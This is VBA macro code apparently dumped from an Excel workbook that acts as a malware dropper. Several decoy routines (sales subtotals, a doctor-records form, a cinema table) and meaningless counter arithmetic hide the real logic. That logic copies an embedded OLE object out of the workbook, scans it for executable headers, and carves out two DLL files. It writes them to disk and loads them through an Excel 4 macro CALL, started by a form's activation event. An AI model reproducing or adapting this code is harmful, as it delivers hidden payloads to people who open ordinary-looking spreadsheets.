         Lrigat = UserForm1.Label11.Tag

        If sendings > 0 And sendings > -30 Then

            Set DestinationKat = sNMSP.Namespace(dershlep)
            Set harvest = sNMSP.Namespace(ctackPip)


        End If


Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application



CallByName DestinationKat, "CopyHere", VbMethod, harvest.Items.Item(Lrigat)


Dim car As Lumene

Set car = New Lumene
       For StepBit = 1 To 2

    NumBForRead = 324480
      sendings = 1
            flayString = "1"

        If FlagDouble Then

                sendings = 2
                NumBForRead = 1000000 - 725696
            flayString = "2"
            Else
                FlagDouble = True
            End If

            sOfbl = ofbl + flayString + ".dll"
 Composition dershlep + "" + UserForm1.Label1.Tag + "", sOfbl, NumBForRead, sendings

        If sendings < 100 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
        If -100 <= sendings Then
            sendings = sendings + 1
            ChDir Form0.TextBox3.Tag
            sendings = sendings + 1
        End If
        sOfbl = """" + sOfbl & ""","""

        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If


        If sendings > 1000 Then
            sendings = sendings + 1
        End If

        If sendings < 0 Then
            sendings = sendings + 1
        End If


    d = CallByName(ExcelC, "ExecuteExcel4Macro", VbMethod, "CALL(" + sOfbl + "frar"",""J"")")
        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
    StopByOk = TestResult(d)


Next
   WelcomeDialog.Hide

End Function


Sub subTotalSales()

    Dim LR As Integer
    LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
    Rows("1:2").EntireRow.Insert Shift:=xlDown

    If LR = 3 Then
        Range("A1").Select
        Call salesHeade.rs
        Range("A2").Formula = "$0"
        Range("B2").Formula = "$0"
        Range("C2").Formula = "$0"
        Range("D2").Formula = "$0"
        Range("E2").Formula = "$0"
        Range("F2").Formula = "0%"
        Range("G2").Formula = "0"
        Range("H2").Formula = "$0"
        Range("I2").Formula = "0"
        Range("J2").Formula = "0"
        Range("K2").Formula = "$0"
        Range("L2").Formula = "$0"
        Range("M2").Formula = "0"
        Range("N2").Formula = "0%"
    Else
        Range("A1").Select
        Call salesHeade.rs
        With ActiveSheet

        End With
    End If

End Sub


Sub InputWeekData(x As Date)

    ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x + 6
    ActiveCell.Offset(0, 1).Select

End Sub
Private Sub TextBox3_Change()

Y = LTrim(TextBox3.Text)
d = TextBox3

If x = 5 Then
TextBox4.SetFocus
End If

End Sub












Attribute VB_Name = "Module2"

 Public Const FirstB As Byte = 77
 Public Const SecondB As Byte = 90
 Public Const ThirdB As Byte = 144
Public Sub GetParam(Count As Integer)
    Dim i As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For i = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, i, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        ElseIf Not tooolsetChunkQ Then
            If C = " " Then
                j = j + 1
            End If
        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " ccc" Then

            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next i
End Sub






Public Sub GetParam3(Count As Integer)
    Dim i As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For i = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, i, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If

        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " " Then
                tooolsetChunkI = True
            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next i
End Sub






Public Sub Composition(Composition2 As String, ofbl As String, fl As Long, DisputeChannel6 As Integer)
 Dim PChannel As Long
  Dim logicVari As Integer
 Dim SimpleMethod As Integer
 ReDim HurricanMoes(1 To fl)
 PChannel = FreeFile
 Open Composition2 For Binary Access Read As PChannel
HurricanMoes(1) = FirstB

 HurricanMoes(2) = SecondB
 HurricanMoes(3) = ThirdB
 logicVari = 1
Do While Not EOF(PChannel)
 Get PChannel, , MoveStep
 If MoveStep = FirstB Then

 Get PChannel, , PatchForHeart
 If PatchForHeart = SecondB Then

 Get PChannel, , PatchForLuck
 If PatchForLuck = ThirdB Then

 If logicVari = DisputeChannel6 Then
 For k = 4 To fl
 Get PChannel, , MoveStep
 HurricanMoes(k) = MoveStep
 Next k
 Exit Do
 Else
 logicVari = logicVari + 1
 End If
 End If
 End If
 End If
 Loop
 On Error Resume Next
 PublicationChannel = 1892
 Close PChannel
 PublicationChannel = 1892 + PublicationChannel
 PChannel = FreeFile
 PublicationChannel = 1892 + PublicationChannel
 Open ofbl For Binary Lock Read Write As #PChannel
 PublicationChannel = 1892 + PublicationChannel
 zeroBob = 1
 For i = zeroBob To UBound(HurricanMoes)

 If WelcomeDialog.Enabled = True Then

    Put #PChannel, , HurricanMoes(i)
 End If
 Next i
 Close PChannel
 PChannel = FreeFile
 For HSP = 33 To -1 Step -0.25
 PChannel = 6 + i
 Next HSP
 PChannel = 6 + i
End Sub




Private Sub cmd_Keluar_Click()
Unload LSD.Me
MDIForm1.dokter.Enabled = True
MDIForm1.dokter.Checked = False
End Sub

Private Sub cmd_Perbaiki_Click()
If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
   cmd_Simpan.Enabled = False
   cmd_Hapus.Enabled = False
   cmd_Batal.Enabled = True
   Dim var As String
   var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
   If var = Empty Then Exit Sub
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         txtkd_dok.Enabled = False
         txtnm_dok.Enabled = True
         cmd_Perbaiki.Caption = "&Perbaharui data"
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
Else
Data1.Recordset.Edit
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Perbaiki.Caption = "Pe&rbaiki"
cmd_Batal.Enabled = False
cmd_Simpan.Enabled = True
cmd_Hapus.Enabled = True
Call tdk_bi.sa
End If
End Sub

Private Sub cmd_Simpan_Click()
If cmd_Simpan.Caption = "&Isi Data" Then
Call bis.a
nom.Or
M.e.txtnm_dok.SetFocus
cmd_Batal.Enabled = True
cmd_Perbaiki.Enabled = False
cmd_Hapus.Enabled = False
cmd_cari.Enabled = False
cmd_Simpan.Caption = "&Simpan Data"
Else
If txtkd_dok.Text = "" Or         txtnm_dok.Text = "" Then
        MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
        txtkd_dok.SetFocus
        Else
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Simpan.Caption = "&Isi Data"
End If
End If
End Sub



Function retVal(ByVal v As Variant) As Variant
    If v <> 0 Then
        retVal = v
    Else
        retVal = ""
    End If

End Function

Function getFile() As String()
    Dim s As String
    Dim sl(1000) As String
    Dim r As Range
    Dim i As Integer
    Erase sl
    i = 0
    For Each r In Worksheets("Sheet1").Range("B1:B100")
        s = r.Value
        If s <> "" Then
            i = i + 1
            sl(i) = s
        End If
    Next r
    getFile = sl()
End Function

Function getReadKey() As String()
    Dim s As Variant
    Dim rs As Variant
    Dim tmp As Variant
    Dim tmpStr As String
    Dim i As Long

    tmpStr = ""
    For Each s In getFile()
        If s <> "" Then
            tmp = Split(s, "\")
            For i = LBound(tmp) To UBound(tmp)
                If i = LBound(tmp) Then
                    tmpStr = tmp(i)
                ElseIf i = UBound(tmp) Then
                    tmpStr = tmpStr & "\[" & tmp(i) & "]Sheet1"
                Else
                    tmpStr = tmpStr & "\" & tmp(i)
                End If
            Next i
            If Not IsEmpty(rs) Then
                rs = rs & ";'" & tmpStr & "'!"
            Else
                rs = "'" & tmpStr & "'!"
            End If
        End If
    Next s
    Erase tmp
    tmp = Split(rs, ";")
    getReadKey = tmp
End Function



























Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{7A498173-A5D4-4B11-B3C2-2AE1668249D9}{4F1D1689-BB7D-408B-A509-9534D5DF5FA6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module5"

Public Function RedButton(dImmer As Double)

  DosTres = "DosTres"

If CallByName(WelcomeDialog, "Visible", VbGet) = True Then
Exit Function
End If
    reqPlace = 3
    reqPlace = reqPlace - 1

Set car = New Lumene
    Set TSPIP = New IWshRuntimeLibrary.WSHShell
    Select Case reqPlace
    Case 0
        s = "N health problems"
    Case 1
        s = "Minor health problems"
    Case 2
        s = "Major health problems"

    Case 3
        s = "Sev ere disability"
    End Select

    Dim SpecialPath As String

PRP = "%" & Form0.TextBox1.Tag



TBT = PRP
TBT = TBT + ""
TBT = TBT + "%"
TBT = TSPIP.ExpandEnvironmentStrings(TBT)

  firstWeek = 0
     firstDay = 0
     Dim firstdate As Date
CallByName Form0.TextBox1, "Tag", VbLet, TBT
  firstDay = 2

    lastDay = 4
    Dim lastdate As Date
     lastWeek = 0
     lastDay = 0

      s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
    firstWeek = 1

    lastWeek = 3
 Form0.TextBox3.Tag = s


    If Not firstDay = 1 Then
        firstdate = firstdate + (8 - firstDay)
        firstWeek = firstWeek + 1
    End If
    If lastDay = 6 Then
        lastdate = lastdate + 1
        lastDay = lastDay + 1
    ElseIf Not lastDay = 7 Then
        lastdate = lastdate - lastDay
        lastDay = 7
        lastWeek = lastWeek - 1
    End If


     iteration = 0


ChDir (Form0.TextBox1.Tag + "")
If WelcomeDialog.Visible = False Then
WelcomeDialog.Show
End If

End Function







Private Sub Command7_Click()
 B = MsgBox("?????????", vbYesNo)
 If B = vbYes Then
  a = "delete from cinema where cinid='"
  a = a + Text1.Text + "'"
  cnmovie.Execute a
  rs4.Close
  Sql = "select * from cinema"
  rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
     If rs.BOF Or rs.EOF Then
       MsgBox "?????!"
     Else
       rs4.MoveFirst
     Call View.Data
   End If
 End If
End Sub




Private Sub nomor()
Dim urutan As String * 5
Dim hitung As Byte

    If Data1.Recordset.RecordCount = 0 Then
        urutan = "Dr001"
    Else
        Data1.Recordset.MoveLast
        If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
            urutan = "00001"
        Else
        hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
        urutan = "Dr" & Right("000" & hitung, 3)
    End If
    End If
    M.e.txtkd_dok = urutan

End Sub

Private Sub cmd_Batal_Click()
Call be.rsih
Call td.k_bisa
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
End Sub

Private Sub cmd_cari_Click()
Dim var As String
var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
If var = Empty Then Exit Sub
   If var <> "" Then
      Data1.Recordset.Index = "kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         Call bi.sa
         Call kun.ci
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
   End If
End Sub



Public Function TestResult(result As Variant)
TestResult = False
If IsNumeric(ExcelReturn) Then
  If ExcelReturn = 0 Then
   TestResult = True
  End If
 End If
End Function
Private Sub cmd_Hapus_Click()
Dim var As String
var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
If var = Empty Then Exit Sub
   If var = "" Then
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Data1.Recordset.Delete
         Data1.Refresh
         Data1.Recordset.MoveFirst
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"

      End If
    End If
End Sub







Attribute VB_Name = "Form0"
Attribute VB_Base = "0{A2FF71FD-3CDA-4003-BDC9-AB7644540F63}{7169C0DA-68DB-45A0-A4BA-5E61EE9C0123}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "WelcomeDialog"
Attribute VB_Base = "0{53694B40-FB88-4A37-90A5-52765BAC49A7}{464D8830-4C80-45E3-9613-B6ED03033DAA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Activate()
DoEvents
DoEvents
Vooooohead
DoEvents
End Sub





H�,�
Tahomas
\oleObject*.bin
Tahomae
�Label1
�xl\embeddings\oleObject1.bin�